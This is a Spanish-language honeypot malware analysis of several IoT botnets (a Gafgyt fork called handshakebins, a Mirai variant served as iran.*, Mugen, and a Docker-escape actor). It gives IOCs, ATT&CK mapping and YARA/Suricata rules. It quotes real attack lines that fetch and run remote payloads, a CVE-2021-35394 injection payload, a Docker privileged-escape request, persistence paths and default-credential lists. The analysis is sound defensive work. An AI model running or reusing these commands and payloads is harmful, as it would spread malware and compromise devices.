TLP:CLEARIOCs publicables. Las IPs de los sensores aparecen enmascaradas como `` y ``; los sensores ya fueron retirados. Ninguna muestra se ejecutó: todo lo que sigue sale de lectura estática y del pseudocódigo de Ghidra.
system_whitelist[175] = {
  "init", "systemd", "systemd-journald", "sshd", "cron", "bash", ...
  "docker", "containerd", "kubelet", "postgres", "nginx", "fail2ban", ...
  "dbus-broker", "containerd-shim", "dockerd",
  "kernal", "gnome", "ntp", "crypto", "kde"
};

Ningún Linux que yo conozca corre un proceso llamado kernal. La lista de arriba es la que usa un bot ARM para decidir qué procesos no matar cuando limpia el equipo que acaba de infectar: 170 nombres de servicios legítimos, para no romper la máquina de la que vive, y al final, agregados a mano, cinco que no son de nadie. Son cinco de los diecisiete nombres con los que el propio bot se disfraza. El killer tiene instrucciones de respetar a sus hermanos.

Lo sé porque el autor no despojó el binario de sus símbolos. Mi Cowrie recibió catorce binarios de este bot entre el 11 de septiembre y el 7 de octubre, todas desde el mismo servidor y todas con los nombres de función intactos: telnet_scanner, install_persistence, tls_cfkill, remove_persistence. Leerlo fue como leer el código fuente con la ortografía del autor. Esta entrega es sobre él y sobre los otros tres reclutadores que pasaron por el señuelo: lo que traían, cómo cambiaron mientras los miraba y cuánto de eso sabía la comunidad cuando llegaron.

1. Un binario que conserva sus nombres#

El instalador se llama handshakebins.sh y lo sirve 213.232.114.14, una máquina en xTom (AS3214) que Shodan muestra con FTP, SSH y HTTP abiertos y 181 CVE asociadas a las versiones de software que anuncia. El script recorre diecisiete nombres —telnetd, telnet, kworker, sshd, bash, getty, kernal, gnome, ntp, ext4, watchdogd, systemd, ntpd, login, dbus, kde, crypto—, baja cada uno con wget, con curl y con busybox wget, lo ejecuta y lo borra. Termina con history -c.

Los binarios son ELF de 32 bits para ARM, enlazados en estático contra uClibc, con la sección .comment firmada por GCC 3.3.2 (2003) y 4.1.2 (2007), la combinación típica de las toolchains cruzadas viejas con las que se siguen compilando bots IoT. VirusTotal los clasifica como trojan.gafgyt/tsunami, y el código lo confirma: es un fork de Gafgyt/Bashlite, una familia conocida desde 2014, con el código fuente filtrado poco después y recompilado desde entonces en cientos de variantes.

Ficha de VirusTotal de b992e0488abed5c19f215626dee38cc4b7b92b918ab194e276924a462aa97c3f, nombre telnetd, 160,15 KB: 41 de 64 motores lo detectan; etiqueta popular trojan.gafgyt/tsunami; categorías trojan, dropper, worm; familias gafgyt, tsunami, mirai. Detecciones visibles: AhnLab-V3 Linux/Gafgyt.Gen20, AliCloud Backdoor:Linux/Gafgyt.ASH, ALYac Gen:Variant.Linux.Tsunami.3, Antiy-AVL Trojan/Linux.Mirai.b, Avast y AVG ELF:Gafgyt-CQ [Trj].
La versión del 7 de octubre en VirusTotal (consulta del 11 de noviembre). Que la mitad de los motores diga Gafgyt y otros digan Mirai o Tsunami es lo normal en esta familia: comparten código desde hace años.crédito: Fuente: VirusTotal

Que conserve los símbolos no es un descuido menor. Un binario sin strip trae la tabla .symtab con el nombre de cada función y de cada variable global. Ghidra no tiene que adivinar qué hace sub_10a3c: la función se llama report_to_cnc y la variable que guarda el servidor, commServer. El trabajo de reversing se reduce a leer.

2. Catorce binarios en cuatro semanas#

El mismo inyector volvió quince días distintos y bajó lo que el servidor tuviera en ese momento. Como el instalador pide siempre los mismos nombres, cada visita es una foto de la versión vigente:

handshakebins · lectura estática de las 14 versiones
python3 -I scripts/handshakebins_versiones.py .
── handshakebins: versiones servidas desde 213.232.114.14 ──
 fecha       ruta                   sha256        C2                   killer  comandos
 2026-09-11  /telnetd               736952826077  64.89.160.222:55487  sí      TCP UDP VSE STDHEX R6 L4RES HTTPSTOMP SCANON SCANOFF DEADMAN STOP
 2026-09-11  /telnet                cd9655a77201  64.89.160.222:55487  sí      =
 2026-09-11  /kworker               07c0a0af63dd  64.89.160.222:55487  sí      =
 2026-09-16  /nokillbins/telnetd    488cd4b95923  64.89.160.222:55487  no      =
 2026-09-16  /nokillbins/telnet     732e796d24da  64.89.160.222:55487  no      =
 2026-09-16  /nokillbins/kworker    4c463687adab  64.89.160.222:55487  no      =
 2026-09-20  /nokillbins/telnetd    941efe52eb85  64.89.160.222:55487  no      =
 2026-09-20  /nokillbins/telnet     387d6d1bc5b0  64.89.160.222:55487  no      =
 2026-09-20  /nokillbins/kworker    bcfbd1d0c988  64.89.160.222:55487  no      =
 2026-10-02  /sshd                  718ef7418c31  64.89.160.222:55487  sí      =
 2026-10-05  /nokillbins/telnetd    30e0cb05a8c2  64.89.160.222:55487  sí      +FORTNITE +HOMEBYPASS +TLS-CFKILL -HTTPSTOMP
 2026-10-05  /nokillbins/telnet     dcac02c71bd6  64.89.160.222:55487  sí      =
 2026-10-05  /nokillbins/kworker    945afece38f1  64.89.160.222:55487  sí      =
 2026-10-07  /telnetd               b992e0488abe  64.89.161.96:55487   sí      +TLS-SPECIAL +HTTP +ICMP

Hay dos líneas en paralelo. La raíz del servidor sirve builds con killer; el directorio /nokillbins/ sirve builds sin él, y el nombre dice exactamente eso: las funciones start_killer, killer_loop e is_whitelisted desaparecen de la tabla de símbolos. No sé para qué quiere el autor una versión que no mata a la competencia. Puede ser para equipos donde el killer rompía algo o para clientes que lo pidieron así. Lo que sí veo es que el 5 de octubre /nokillbins/ empieza a servir binarios con killer: el directorio conservó el nombre y perdió el significado.

El 5 de octubre también cambia el menú: entran FORTNITE, HOMEBYPASS y TLS-CFKILL, y sale HTTPSTOMP. Dos días después aparece la última versión, con TLS-SPECIAL, HTTP e ICMP, y con un C2 nuevo, 64.89.161.96, en el mismo bloque y el mismo puerto que el anterior. El puerto, 55487, está escrito dos veces en el binario: dentro de la cadena commServer y como valor por defecto (0xd8bf) si la cadena no trae puerto.

3. El menú#

Gafgyt recibe órdenes como líneas de texto. La función processCmd compara la primera palabra contra una lista fija y, según cuál sea, lanza un ataque en un proceso hijo. En la última versión la lista es esta:

ComandoQué hace, según el códigoDesde
TCP, UDP, ICMP, STDHEXinundaciones de capa 3/4 con parámetros de tamaño y tiempo11-sep (ICMP, 7-oct)
VSEinundación con TSource Engine Query, la consulta de los servidores de juegos de Valve11-sep
R6, L4RES, FORTNITEataques con nombre de juego; por el nombre, Rainbow Six y Fortnite11-sep / 5-oct
HOMEBYPASS (o HOME-BYPASS)ataque contra conexiones domésticas5-oct
HTTPSTOMP → HTTPinundación HTTP; la versión vieja incluía la ruta /cdn-cgi/l/chk_captcha de Cloudflare11-sep → 7-oct
TLS-CFKILL, TLS-SPECIALinundación HTTPS con una pila TLS propia5-oct / 7-oct
SCANON, SCANOFFenciende y apaga el escáner telnet11-sep
STOPmata todos los ataques en curso11-sep
DEADMANautodestrucción (sección 5)11-sep

Leído entero, el menú apunta a un cliente concreto. Casi nada de esto sirve para tumbar una empresa; sirve para echar a alguien de una partida o tirar la conexión de su casa. Es el catálogo típico de los booters o stressers, los servicios que venden minutos de ataque a quien quiera ganar una partida por las malas. No tengo forma de ver el panel donde se venden ni a quién, así que el título de esta entrega es una lectura del código, no una atribución.

Lo más trabajado del binario es TLS-CFKILL. El bot no enlaza OpenSSL: trae su propia implementación de X25519, AES-128 y HMAC-SHA256 (x25519_scalarmult, aes128_encrypt_block, hmac_sha256), arma el handshake a mano y, una vez establecida la sesión, manda hasta diez GET por conexión con cabeceras de navegador y uno de siete User-Agent de Chrome. Si corre como root lanza tres procesos; si no, uno. Por el nombre, el objetivo son sitios detrás de Cloudflare: la primera versión intentaba la ruta del captcha de Cloudflare en texto plano, la de octubre ya hace el handshake completo.

TLS-SPECIAL es casi la misma función, con una diferencia en el ClientHello. Con TLS-CFKILL el bot anuncia doce suites de cifrado y las extensiones que manda un navegador (session_ticket, ALPN, status_request); con TLS-SPECIAL anuncia once y omite esas tres. Son dos huellas JA3/JA4 distintas para el mismo ataque: si un filtro bloquea una, el operador cambia de comando. Los siete User-Agent, en cambio, son de Chrome 44 a 69, versiones de 2015 a 2018. Cualquier WAF que mire la versión del navegador los separa del tráfico real sin esfuerzo. El autor se tomó el trabajo de escribir una pila TLS y no el de actualizar una lista de cadenas.

4. Doce de ciento veintitrés#

El bot recluta por telnet. telnet_scanner genera IPv4 al azar, descarta solo cuatro rangos (10/8, 172.16/12, 192.168/16 y 127/8) y prueba los puertos 23 y 2323. El Mirai original evitaba además los rangos del Departamento de Defensa de EE. UU., de General Electric o de HP; este no se molesta.

Cuando encuentra un telnet abierto, recorre la tabla creds: manda el usuario, espera el prompt de contraseña, manda la contraseña y busca un prompt de shell. La tabla tiene 123 pares. Mezcla los clásicos de Mirai con contraseñas de fábrica de cámaras y grabadores: xmhdipc, 7ujMko0admin, klv123, hi3518, ipcam_rt5350. Pero en la condición del bucle hay un contador que se reinicia en cada host y corta en 12 (local_28 < 0xc):

handshakebins_versiones.py · tabla creds de la versión del 7-oct
── tabla creds de b992e0488abe: 123 pares ──
 se prueban por host (local_28 < 0xc): root:root, root:xc3511, root:vizxv, root:admin, admin:admin, admin:888888, root:default, root:juantech, admin:default, root:54321, support:support, root:(vacía)
 xmhdipc        posición 89, 103
 7ujMko0admin   posición 88, 94
 klv123         posición 91
 hi3518         posición 98, 123
 ipcam_rt5350   posición 121, 122

No encontré ninguna función que reordene la tabla, y el índice vuelve a cero en cada host, así que cada equipo recibe siempre los mismos doce pares, en el mismo orden. Las contraseñas de cámaras que alguien se tomó el trabajo de agregar están entre las posiciones 88 y 123, y el escáner nunca llega a ellas. Son 111 credenciales de peso muerto.

Con /var/sofia/ pasa algo parecido. Es el directorio del firmware de los DVR de Xiongmai, y aparece en is_whitelisted junto a /tmp/, /var/tmp/ y /dev/shm/. Parece la intención de tratar distinto a los procesos que corren desde ahí, pero, según el pseudocódigo, las dos ramas de esa comparación devuelven lo mismo: la línea no cambia nada. El bot tiene dos funciones pensadas para cámaras y grabadores chinos, y ninguna de las dos hace lo que su autor quería.

Cuando una credencial funciona, report_to_cnc abre una conexión nueva al C2 y manda una sola línea en texto plano:

REPORT <ip>:<usuario>:<contraseña>:<puerto>\n

Después le pega al equipo nuevo la línea de instalación que lleva embebida, la misma que le pegaron a mi Cowrie: cd /tmp || cd /var/run || cd /dev/shm || …; wget -q http://213.232.114.14/handshakebins.sh -O .s; chmod +x .s; ./.s; rm -f .s; history -c. El ciclo se cierra solo.

5. Cómo se queda y cómo se va#

install_persistence no elige un método; prueba siete, para cubrir desde un servidor con systemd hasta un router con OpenWrt:

  1. Una línea en /etc/rc.local y /etc/rc.d/rc.local.
  2. Un script /etc/init.d/S99bot y /etc/init.d/bot, registrado con update-rc.d bot defaults.
  3. Una unidad /etc/systemd/system/bot.service con Description=systemd-udevd-worker, habilitada con systemctl enable bot.service.
  4. Cron cada cinco minutos en /etc/cron.d/root, /var/spool/cron/crontabs/root, /etc/crontabs/root y /etc/crontab.
  5. /etc/profile.d/bot.sh y líneas en .profile, .bash_profile y .bashrc de root.
  6. /etc/config/bot con el encabezado #!/bin/sh /etc/rc.common de OpenWrt.
  7. echo "<binario>" | at now + 1 minute, y una copia en /tmp/.kworker.

El disfraz de la unidad de systemd dura lo que tarda alguien en listar los servicios: la descripción dice systemd-udevd-worker, pero el archivo se llama bot.service. Lo mismo con el proceso: spoof_process_name lo renombra con uno de los diecisiete nombres del instalador, y la lista blanca del killer protege a quince de ellos.

El killer tiene sentido económico. Un equipo infectado con dos botnets rinde la mitad para cada una, así que el bot recorre /proc y mata todo lo que no esté en la lista blanca. Lo curioso es lo que la lista sí protege: docker, kubelet, postgres, nginx, fail2ban, iptables, clamd. El bot no quiere que el dueño note que algo se rompió. El instalador del 7 de octubre, en cambio, empieza con pkill iptables -9 y pkill firewall -9, y eso va contra la lista blanca y, además, no sirve para nada: las reglas de iptables viven en el kernel, no en un proceso, así que matar el binario no apaga el firewall. El script y el binario parecen escritos por personas distintas, o por la misma en días distintos.

Y está DEADMAN. Cuando el C2 manda esa palabra, el bot apaga el escáner, mata al killer y a todos los ataques en curso, llama a remove_persistence —que deshace uno por uno los siete mecanismos, incluido un sed que borra su propia línea de rc.local y de los perfiles de root—, borra su binario y sus copias en /tmp/.kworker, /var/tmp/.kworker y /dev/shm/.kworker, y termina. Es un botón para desaparecer sin dejar más rastro que los logs. Lo trae desde la primera versión que vi.

6. El repartidor#

Los catorce binarios llegaron de la misma IP, 94.154.43.69, en Storm Industries (AS219502, Países Bajos). ThreatFox la tenía registrada como C2 de Mirai desde el 3 de septiembre, ocho días antes de que me visitara por primera vez; AbuseIPDB le cuenta 7.094 reportes de 1.345 fuentes. Conmigo usó casi siempre la misma credencial, root:123, o admin:12345 desde el 20 de septiembre. El 16 de septiembre hizo además 63 intentos de login con 43 contraseñas distintas, y mi Cowrie, que aceptaba casi todo (ver la entrega II), rechazó solo dos.

En total fueron 702 eventos de SSH en quince días, entre el 11 de septiembre y el 7 de octubre. La línea de inyección prueba todos los transportes posibles, uno detrás de otro:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://213.232.114.14/handshakebins.sh;
curl -o handshakebins.sh http://213.232.114.14/handshakebins.sh; busybox wget http://213.232.114.14/handshakebins.sh;
chmod 777 handshakebins.sh; sh handshakebins.sh; tftp 213.232.114.14 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;
tftp -r tftp2.sh -g 213.232.114.14; chmod 777 tftp2.sh; sh tftp2.sh; ftpg…

Que el inyector y el C2 sean máquinas distintas, en proveedores distintos, es la arquitectura normal de estas botnets: el que escanea se quema rápido en las listas de bloqueo y se reemplaza; el C2 se cuida. El C2 de septiembre, 64.89.160.222, está en Blatant Technologies (AS403005) y expone más de treinta puertos de proxy (1080, 3128, 8118…). Puede ser un proxy abierto reaprovechado como C2 o un C2 que además se alquila como proxy; con lo que tengo no lo distingo.

7. iran.*: un Mirai que avisa que no lo es#

El 29 de septiembre, a las 06:14, 64.177.48.23 entró con root:4carrier1, bajó un script cat.sh y se fue un minuto después. El script pide catorce arquitecturas a 45.32.215.222 —iran.x86_64, iran.aarch64, iran.mips, iran.sh4 y diez más— y ejecuta cada una con el argumento catloader. Bueno, casi cada una:

wget http://45.32.215.222/iran.aarch64 -O aarch64 || curl …; chmod 777 aarch64; ./aarch64catloader;

Falta un espacio. En un ARM de 64 bits, el binario nunca se ejecuta y la shell responde que ./aarch64catloader no existe. Ese error se repite en cada equipo ARM64 que este script toque.

Mi Cowrie bajó ocho de las catorce. Son Mirai sin símbolos pero con buena parte de las cadenas en claro, empezando por una que parece escrita para el analista: Not a mirai at all. Que una variante de Mirai lleve un mensaje negando ser Mirai no es raro; estas cadenas suelen funcionar como firma del autor, o como chiste interno. Lo que sí es menos común es que reciba órdenes en texto con ! (!kill, !selfrep telnet, !selfrep realtek, !openshell, !shellcmd, !update), más al estilo de Gafgyt que del protocolo binario de Mirai.

!selfrep realtek es la autopropagación por CVE-2021-35394, la inyección de comandos del servicio UDPServer del SDK de Realtek, en el puerto UDP 9034. La carga está en el binario tal cual:

orf; cd /tmp; /bin/busybox wget http://%s/mipsel; chmod 777 mipsel; ./mipsel selfrep.realtek; /bin/busybox wget http://%s/mips; chmod 777 mips; ./mips selfrep.realtek

El C2 es la misma IP que sirve los binarios, en el puerto 87. Tanto 64.177.48.23 como 45.32.215.222 están en Vultr (AS20473). La segunda expone además correo, DNS y web con certificado autofirmado, lo que parece más un servidor de hosting que una máquina montada para esto; puede ser un servidor comprometido, pero es hipótesis. ThreatFox no tenía ninguna de las dos.

8. Mugen y el nc de reserva#

El 4 de septiembre, 45.90.163.37 (Sapinet, Francia) entró con root:admin y pidió su instalador de una forma que no había visto en otra sesión:

printf 'GET /Mugen.sh HTTP/1.0\r\nHost: 45.90.163.37\r\n\r\n' | nc 45.90.163.37 80 | sed '1,/^\r*$/d' > Mugen.sh;
wget http://45.90.163.37/Mugen.sh; curl -O http://45.90.163.37/Mugen.sh; …

La primera línea es un cliente HTTP escrito a mano: arma la petición con printf, la manda con nc y borra las cabeceras de la respuesta con sed. Es el plan B para equipos que no tienen ni wget ni curl, que en el mundo de los routers son muchos. Después intenta los métodos normales por si acaso.

Mugen.sh pide dieciséis arquitecturas, copia cada una a un archivo llamado goonbakk y lo ejecuta con <arch>.payload como argumento. VirusTotal etiqueta el script como downloader.medusa/shell. No obtuve los binarios, así que no puedo confirmar la familia por el código. 45.90.163.37 es a la vez inyector y servidor de descarga; ThreatFox lo tiene como C2 y distribuidor de Mirai desde julio, y GreyNoise como escáner malicioso.

9. Dos puertas, una misma descarga#

El caso más instructivo es el más chico. El 28 de agosto, 45.198.224.26 (VPSVAULT.HOST, Suecia) entró por SSH con aluno:aluno —“alumno”, en portugués— y ejecutó:

cd /tmp; wget http://5.182.210.174/ok; curl -O http://5.182.210.174/ok; chmod +x ok; sh ok; rm -rf ok; rm -rf ok.1

ok baja doce binarios con nombres hexadecimales (4a0c85, 56b24b, 7e3764…) y ejecuta cada uno con el argumento bc. Me llegaron dos, uno ARM y uno x86-64. Son Mirai (trojan.mirai), y ambos llevan en claro, una al lado de la otra, la cadena kappadocia.net y la IP 141.98.10.50 (Host Baltic, Lituania), que en Shodan tiene el puerto 4444 abierto.

Lo interesante es lo que esa misma IP había hecho dieciocho días antes en el otro sensor. Entre el 10 y el 17 de agosto, 45.198.224.26 mandó 807 peticiones a la API de Docker expuesta, la mayoría POST /containers/create con Binds: ["/:/host"] y Privileged: true. Dentro de cada contenedor iba un comando en base64 que, decodificado, dice:

wget -O- http://5.182.210.174/ok | sh || curl -s http://5.182.210.174/ok | sh

Es la misma descarga del mismo servidor, intentada por dos servicios distintos en dos máquinas distintas. Por Docker la probó con varias formas de escape (chroot /host, chroot /mnt, chroot /hostfs, base64 -D por si el base64 del anfitrión era el de BSD o macOS…) sobre cuatro imágenes (alpine, busybox, ubuntu, debian). Volvieron después 45.198.224.27 (30 de agosto) y 45.198.224.125 (19 y 20 de octubre), del mismo bloque y con los mismos cuerpos. Entre medio, del 5 al 20 de septiembre, 16.5.0.236 usó las mismas plantillas —diecisiete variantes en total entre todas estas IPs—, unas apuntando a 5.182.210.174/ok y otras a un servidor distinto, 16.5.7.221/d.

Un escáner que entra por SSH y otro que entra por Docker suelen tratarse como dos actores distintos, porque llegan por servicios distintos y caen en tableros distintos. Aquí son el mismo, con un solo ok detrás. Los escapes de Docker los cuento en detalle en la entrega siguiente.

10. Lo que sabía la comunidad#

Crucé cada IP de esta entrega con ThreatFox, que reúne reportes de terceros sobre infraestructura de malware, y con la primera vez que yo la vi:

IPRol en mi corpusPrimera vez en mi sensorThreatFox
94.154.43.69inyector de handshakebins11-sepC2 Mirai desde 3-sep
213.232.114.14servidor de handshakebins11-sepdistribución Bashlite, 10-oct
64.89.160.222C2 de handshakebins (septiembre)11-sep (en el binario)C2 Bashlite/Tsunami desde 26-ago
64.89.161.96C2 de handshakebins (octubre)7-oct (en el binario)C2 Bashlite, 24-oct
45.32.215.222servidor y C2 de iran.*29-sep—
45.90.163.37inyector y servidor de Mugen4-sepC2 y distribución Mirai desde 8-jul
5.182.210.174servidor de ok10-ago (Docker)distribución Mirai, 6-ago
141.98.10.50C2 de los binarios de ok28-ago (en el binario)—

En dos casos el honeypot vio antes que el feed: el servidor de handshakebins, un mes antes, y el C2 de octubre, diecisiete días antes. Ese C2 tiene todavía cero reportes en AbuseIPDB. En otros dos casos (45.32.215.222 y 141.98.10.50) no encontré ningún reporte en ThreatFox. Nada de esto significa que nadie más los viera; significa que nadie los publicó ahí antes que yo.

Con VirusTotal pasa algo parecido. De las cinco tandas de handshakebins que recibí, tres (11-sep, 5-oct y 7-oct) aparecen en VT con primera subida el mismo día en que llegaron a mi sensor. Las otras dos ya estaban. Yo no subí nada, así que esas subidas son de otros: otros honeypots, otras sandboxes, alguien que recibió la misma visita esa misma mañana. El 7 de octubre, a mi sensor y al de algún desconocido les tocó el mismo binario con horas de diferencia.

11. Indicadores#

TipoValorContexto
IPv494.154.43.69AS219502 Storm Industries · inyector de handshakebins · 11-sep → 7-oct
IPv4213.232.114.14AS3214 xTom · distribución de handshakebins (HTTP, TFTP)
IPv4:puerto64.89.160.222:55487AS403005 Blatant Technologies · C2 handshakebins hasta 5-oct
IPv4:puerto64.89.161.96:55487AS403005 · C2 handshakebins desde 7-oct
IPv464.177.48.23AS20473 Vultr · inyector de iran.* · 29-sep
IPv4:puerto45.32.215.222:87AS20473 Vultr · distribución y C2 de iran.*
IPv445.90.163.37AS39421 Sapinet · inyector y distribución de Mugen.sh · 4-sep
IPv445.198.224.26, 45.198.224.27, 45.198.224.125AS215925 VPSVAULT.HOST · SSH + Docker hacia 5.182.210.174/ok
IPv416.5.0.236 → 16.5.7.221mismas plantillas de escape Docker, otro servidor de descarga
IPv45.182.210.174AS62068 SpectraIP · distribución de ok
IPv4 / dominio141.98.10.50, kappadocia.netAS209605 Host Baltic · en claro en los binarios de ok
URLhttp://213.232.114.14/handshakebins.sh, /nokillbins/handshakebins.shinstaladores
URLhttp://45.32.215.222/cat.sh, /iran.<arch>instalador y binarios de iran.*
URLhttp://45.90.163.37/Mugen.shinstalador de Mugen
URLhttp://5.182.210.174/ok, http://16.5.7.221/dinstaladores del actor de Docker
Ruta/etc/systemd/system/bot.service (systemd-udevd-worker), /etc/init.d/S99bot, /etc/profile.d/bot.sh, /etc/config/bot, /tmp/.kworkerpersistencia de handshakebins
CadenaREPORT <ip>:<user>:<pass>:<port>credenciales robadas enviadas al C2
CadenaNot a mirai at all, !selfrep realtek, catloaderiran.*

SHA-256 de los binarios y scripts:

# handshakebins (ARM, Gafgyt/Bashlite)
73695282607747038a31f516e3f8310a67ae6f2f9e4a0b90b55a40f77272e559  /telnetd 11-sep
cd9655a77201f73e69953ec5b53f898de41983c1b4dcedd0c431955b9c20b241  /telnet 11-sep
07c0a0af63dde8dc2e36dc58b630dcad6563263e992877aaa704530afb8a5656  /kworker 11-sep
488cd4b95923b20587debbd1a747d9e04b85b3ff2b274e36660401e194576626  /nokillbins/telnetd 16-sep
732e796d24da151af2e4ad54d5706248aefe86686f83e5033c7ca8dd19e97954  /nokillbins/telnet 16-sep
4c463687adab59995dc46225c0df38a12da6ffd828b1a46a162e75ba604897ad  /nokillbins/kworker 16-sep
941efe52eb858311653bf2c1e855555cf735896d500f11ea90aaf7e93d1faa3f  /nokillbins/telnetd 20-sep
387d6d1bc5b00c60c64528c6b0ceb34fa7c4a83f6b8cf95f0526adb5cc57389d  /nokillbins/telnet 20-sep
bcfbd1d0c98844ddd4795a6df4e6431a494a0320c72413f188b50140cd30f506  /nokillbins/kworker 20-sep
718ef7418c3114a560c8d7a6c09691ead65ce59ac28bf80708f440311564807d  /sshd 2-oct
30e0cb05a8c207c4084adaeb2906cbb8119b3d638999a73d4635e333e09cc0f6  /nokillbins/telnetd 5-oct
dcac02c71bd67e7ce708e2fad709059b817ebdde9796542ef16855de5c7b9a41  /nokillbins/telnet 5-oct
945afece38f108d7c1c5c71e785fbf452f7de803ca1f207e6eae1f9dd3d5ae80  /nokillbins/kworker 5-oct
b992e0488abed5c19f215626dee38cc4b7b92b918ab194e276924a462aa97c3f  /telnetd 7-oct
7b1cbba56bb80e185cdf2097f5716c31d7e0f88f28ad7220b3b5a2cf73859ec8  handshakebins.sh
586960df8bf559ffbba600f11917a99baed4a875cb7faa5eabc060bcde67277b  nokillbins/handshakebins.sh
0fad00ddec16b67f3131aa4efffbe32d78fca178407895920b7549667d7bbfbf  handshakebins.sh 7-oct (pkill iptables)
# iran.* (Mirai)
eb2e0b6edf878e51c9f8895ed7502f9718b076f410607ce0c939d8feeffca60d  cat.sh
84b352b314d71d6887ef94b8094bbb4c6cbcb409e52ee748dca7583b8f75002a  iran.x86_64
a0e7e5b25346340da9e58ac4fe8691409f8dbc99d1e2aa3f496c3f9b10016d8c  iran.aarch64
d1f0d6f767c5385b7129e9bf95bf9a769b8066e8709b0be045411e1bc895ebfb  iran.m68k
553855b485206d2cbe0756235116ce329b5185c4a40092bb1707ffdc9da26d5a  iran.mips
64690dd19373b5df539d66e64e39dbbd51b2734e35143d53c223a19bfea74f50  iran.mipsel
9e4cbff8e55bcd3dd88b9df12f3c4333dfc08c5ceaa174e2f40bb163d4783cb6  iran.powerpc
b5c517046323ddc8baaeec0a67cd1f3fc2b84bb3ea4b1db74bb55c382fa93a01  iran.sparc
a038aad92c5375a1b7dcf2a4f0e6a4cadc05cfa552f42157f4a53baf588f4392  iran.sh4
# Mugen
d297569fc63ec7336886f5e5e9c451c4560bc888d116a9db7706ff90ff44f77d  Mugen.sh
# ok (5.182.210.174)
9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0  ok
b595ef9ca4756a07bc83027a943009cb947d03c4c261a3e4cc3bec467b43c203  4a0c85 (ARM)
bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841  7e3764 (x86-64)

12. MITRE ATT&CK#

TácticaTécnicaDónde
Acceso inicialT1078 Cuentas válidasroot:123, aluno:aluno, root:4carrier1 contra mi Cowrie
Acceso a credencialesT1110.001 Fuerza bruta: adivinación de contraseñastelnet_scanner (doce pares por host)
Movimiento lateralT1210 Explotación de servicios remotos!selfrep realtek (CVE-2021-35394)
EjecuciónT1059.004 Shell de Unixtodos los instaladores
Comando y controlT1105 Transferencia de herramientaswget, curl, busybox wget, tftp, ftpget, printf | nc
Comando y controlT1571 Puerto no estándarC2 en 55487 y 87
ExfiltraciónT1041 Exfiltración por el canal de C2REPORT ip:user:pass:port
PersistenciaT1543.002 Servicio de systemdbot.service
PersistenciaT1037.004 Scripts RCrc.local, S99bot, /etc/config/bot
PersistenciaT1053.003 / T1053.002 Cron / At*/5 * * * *, at now + 1 minute
PersistenciaT1546.004 Modificación de la configuración de la shellprofile.d/bot.sh, .profile, .bashrc
Evasión de defensasT1036.005 Enmascaramiento: nombre legítimokworker, sshd, systemd-udevd-worker
Evasión de defensasT1070.003 / T1070.004 Borrar historial / archivoshistory -c, rm -rf, DEADMAN
Evasión de defensasT1562.004 Desactivar el firewallpkill iptables -9 (sin efecto real)
Escalada de privilegiosT1611 Escape al anfitriónDocker con Binds /:/host y Privileged
ImpactoT1498.001 / T1499.002 Inundación directa / de serviciomenú de ataques, TLS-CFKILL

13. Detección#

Las tres reglas YARA siguientes las probé contra todo lo que guardaron los sensores: 47.941 archivos únicos, incluidos cuerpos de peticiones y descargas crudas. Cada una coincidió solo con su familia (14 binarios de handshakebins, 3 instaladores y 8 binarios de iran.*) y con nada más.

rule HP_Handshakebins_Bot
{
    meta:
        description = "Fork de Gafgyt/Bashlite para ARM distribuido como handshakebins (sep-oct 2026)"
        author = "Dust (fennek.org)"
        reference = "https://fennek.org/posts/senuelo-botnets-de-alquiler/"
        hash1 = "73695282607747038a31f516e3f8310a67ae6f2f9e4a0b90b55a40f77272e559"
        hash2 = "b992e0488abed5c19f215626dee38cc4b7b92b918ab194e276924a462aa97c3f"
    strings:
        $cmd1 = "DEADMAN" ascii fullword
        $cmd2 = "HOMEBYPASS" ascii fullword
        $cmd3 = "TLS-CFKILL" ascii fullword
        $cmd4 = "HTTPSTOMP" ascii fullword
        $cmd5 = "L4RES" ascii fullword
        $per1 = "Description=systemd-udevd-worker" ascii
        $per2 = "/etc/init.d/S99bot" ascii
        $per3 = "/etc/profile.d/bot.sh" ascii
        $per4 = "cp %s /tmp/.kworker" ascii
        $per5 = "| at now + 1 minute" ascii
        $wl = "/var/sofia/" ascii
        $dl = "/handshakebins.sh" ascii
    condition:
        uint32(0) == 0x464c457f and filesize < 1MB and
        (
            ($dl and 1 of ($per*)) or
            (3 of ($per*) and 2 of ($cmd*)) or
            ($wl and 2 of ($per*) and 1 of ($cmd*))
        )
}

rule HP_Handshakebins_Dropper
{
    meta:
        description = "Instalador de las 17 variantes de handshakebins con nombres de procesos del sistema"
        author = "Dust (fennek.org)"
        hash1 = "7b1cbba56bb80e185cdf2097f5716c31d7e0f88f28ad7220b3b5a2cf73859ec8"
    strings:
        $nav = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;" ascii
        $n1 = "chmod +x kernal; ./kernal" ascii
        $n2 = "chmod +x watchdogd; ./watchdogd" ascii
        $n3 = "chmod +x crypto; ./crypto" ascii
        $n4 = "chmod +x kworker; ./kworker" ascii
        $end = "history -c" ascii
    condition:
        filesize < 64KB and $nav and 3 of ($n*) and $end
}

rule HP_Iran_Mirai_Variant
{
    meta:
        description = "Variante de Mirai con comandos de texto y autopropagación por Realtek SDK (CVE-2021-35394), servida como iran.<arch>"
        author = "Dust (fennek.org)"
        hash1 = "84b352b314d71d6887ef94b8094bbb4c6cbcb409e52ee748dca7583b8f75002a"
    strings:
        $s1 = "Not a mirai at all" ascii
        $s2 = "!selfrep realtek" ascii
        $s3 = "!selfrep telnet" ascii
        $s4 = "./mipsel selfrep.realtek" ascii
        $s5 = "!openshell" ascii
        $s6 = "!shellcmd" ascii
    condition:
        uint32(0) == 0x464c457f and filesize < 2MB and 3 of them
}

En la red, lo más útil es que el bot entrega las credenciales robadas en texto plano. La tercera regla es genérica para CVE-2021-35394 y probablemente repite firmas comerciales; la dejo porque es la que habría visto el tráfico de !selfrep realtek:

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"handshakebins: credenciales robadas enviadas al C2 (REPORT)"; flow:to_server,established; content:"REPORT "; startswith; pcre:"/^REPORT \d{1,3}(\.\d{1,3}){3}:[^:\r\n]{0,64}:[^:\r\n]{0,64}:\d{1,5}\n/"; classtype:trojan-activity; sid:9115020; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"handshakebins: descarga del instalador"; flow:to_server,established; http.uri; content:"/handshakebins.sh"; endswith; classtype:trojan-activity; sid:9115021; rev:1;)
